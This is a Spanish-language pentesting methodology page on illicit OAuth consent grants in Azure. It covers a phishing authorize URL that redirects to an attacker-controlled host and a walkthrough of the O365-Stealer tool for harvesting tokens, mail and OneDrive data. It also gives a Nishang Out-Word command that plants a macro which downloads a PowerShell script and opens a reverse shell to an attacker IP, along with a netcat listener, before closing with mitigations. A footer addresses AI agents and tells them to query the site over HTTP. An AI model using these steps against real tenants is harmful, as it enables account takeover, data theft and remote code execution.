# Concesiones de consentimiento ilegales

## <mark style="color:red;">Concesiones de consentimiento ilegales</mark>

[<mark style="color:purple;">https://learn.microsoft.com/es-es/security/operations/incident-response-playbook-app-consent</mark>](https://learn.microsoft.com/es-es/security/operations/incident-response-playbook-app-consent)

Se refiere al abuso del modelo de consentimiento de OAuth 2.0 para lograr acceso no autorizado a recursos dentro de una organización. Esto ocurre cuando un atacante:

1. **Crea una aplicación maliciosa o manipula una legítima**.
2. **Solicita permisos excesivos** mediante `scope` de OAuth como `Mail.Read`, `Files.ReadWrite.All`, `User.ReadBasic.All`, etc.
3. **Engaña al usuario para que otorgue el consentimiento**, a menudo a través de phishing o ingeniería social.
4. **Accede de forma persistente a recursos**, incluso después de cambiar contraseñas, gracias al *refresh token* y al consentimiento delegado.

Cuando un administrador otorga consentimiento a nivel de invitado (tenant-wide), se convierte en una *consent grant* global — si esto se hace sin revisión o para aplicaciones maliciosas, se considera una **concesión ilegal de consentimiento**.

### <mark style="color:yellow;">> Flujo de explotación</mark>

Un atacante podría usar el siguiente flujo:

1. Redirige a la víctima a una URL como:

```html
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=attacker-app-id&
response_type=code&
redirect_uri=https://attacker-controlled.com/redirect&
scope=Mail.Read&
prompt=consent
```

2. El usuario acepta los permisos.
3. El atacante obtiene el *access token* y *refresh token* y accede a los recursos de la organización.

### <mark style="color:purple;">> Prueba de concepto</mark>

Para explotar esta vulnerabilidad se requiere poder crear una aplicación de Azure controlada por el atacante. En esta se añadirán los permisos que se deseen obtener.

La información de la aplicación se incluye en la configuración de la herramienta **O365Stealer**, que creará un enlace de *phishing* y será el que se le enviará a la víctima.

{% hint style="info" %}
Usando [AzureAD Preview](#azureadpreview) se puede obtener la configuración del consentimiento de los usuarios a las aplicaciones:

{% code overflow="wrap" %}

```powershell
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
```

{% endcode %}
{% endhint %}

#### <mark style="color:purple;">>> Creación de una aplicación</mark>

1. Modificar o registrar una nueva aplicación.
2. Asignarle, por ejemplo los siguientes permisos:

```
files.readwrite.all
mail.read
mail.send
mailboxsettings.readwrite
notes.read.all
user.read
user.readbasic.all
```

<figure><img src="/files/PyzTwIvluK8CJZnOzmpm" alt=""><figcaption><p>Permisos asignados a la aplicación</p></figcaption></figure>

#### <mark style="color:purple;">>> Configuración y ejecución de O365-Stealer</mark>

Se añade, por ejemplo, a un servidor xampp la carpeta de o365-stealer y se ejecuta el servidor:

<figure><img src="/files/SA3pBGSfxxjHkX1jJDWp" alt=""><figcaption></figcaption></figure>

1. Se configura la herramienta con los valores del Client ID, Client Secret y URL de la aplicación registrada.

<figure><img src="/files/fixty8kR7MDeHAsn7hr7" alt=""><figcaption><p>Configuración</p></figcaption></figure>

Desde el panel de Azure, la información necesaria para la configuración se obtiene desde los siguientes apartados/secciones:

<figure><img src="/files/4ZDFr7MAMNaAMOMcekYX" alt=""><figcaption><p>Búsqueda de valores de la configuración</p></figcaption></figure>

2\. Ejecución de la herramienta:

<figure><img src="/files/aE36rXpTpRByVCRpkhIm" alt=""><figcaption><p>Ejecución de O365-Stealer</p></figcaption></figure>

La herramienta genera una URL que será utilizada para el ataque de *phishing*.

Esta URL puede ser enviada, por ejemplo:

* Enviando un email a la víctima.
* Enviando la URL a través de un formulario.
* Explotando un XSS almacenado.
* Etc.

Una vez que la víctima pique en el anzuelo, obtendremos los *tokens* de acceso, correos, acceso a OneDrive, etc.

<figure><img src="/files/7UPHaElj1FRRUKI5g5Sd" alt=""><figcaption><p>Credenciales obtenidas</p></figcaption></figure>

Desde el panel de O365-Stealer, podremos obtener la información en ficheros, subir ficheros a OneDrive, crear reglas en Outlook, etc.

<figure><img src="/files/KRMMKo3yECZ0X5E3ZVEU" alt="" width="375"><figcaption><p>información obtenida</p></figcaption></figure>

<figure><img src="/files/mg1UOY9yZwffVAS9lcjP" alt=""><figcaption><p>Acciones</p></figcaption></figure>

#### <mark style="color:purple;">>> Creación de un fichero doc malicioso</mark>

Con el siguiente *script* es posible insertar código malicioso en un fichero `.doc`:

<https://github.com/samratashok/nishang/blob/master/Client/Out-Word.ps1>

{% code overflow="wrap" %}

```powershell
Out-Word -Payload "powershell iex (New-Object Net.Webclient).downloadstring('http://<IP>/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <IP> -Port <Puerto>" -OutputFile evildoc.doc
```

{% endcode %}

Siendo por ejemplo la IP del atacante `10.0.0.10` con el puerto `80` que cuenta con un servicio web que sirve el fichero `Invoke-PowerShellTcp.ps1` y el puerto `443` que se encuentra a la escucha con netcat:

{% code overflow="wrap" %}

```powershell
Out-Word -Payload "powershell iex (New-Object Net.Webclient).downloadstring('http://10.0.0.10:80/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress 10.0.0.10 -Port 443" -OutputFile evildoc.doc
```

{% endcode %}

Se pone el puerto 443 a la escucha en la máquina del atacante `10.0.0.10`:

```
C:\Pentest\Tools\netcat\nc.exe -lvp 443
```

#### <mark style="color:purple;">>> Subida de un fichero doc malicioso a OneDrive</mark>

Desde el panel de acciones se puede subir un fichero **.doc** malicioso a One Drive y esperar hasta obtener la *reverse shell.*

### <mark style="color:green;">> Mitigación</mark>

* Desactivar el consentimiento para usuarios no administradores.
* Auditar las aplicaciones consentidas en Azure AD: `Enterprise Applications > Permissions`.
* Implementar *Admin Consent Workflow*.
* Usar *Conditional Access Policies* para restringir accesos desde apps desconocidas.
* Revisar logs en Azure (AuditLogs, SignIns).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/acceso-inicial/concesiones-de-consentimiento-ilegales.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
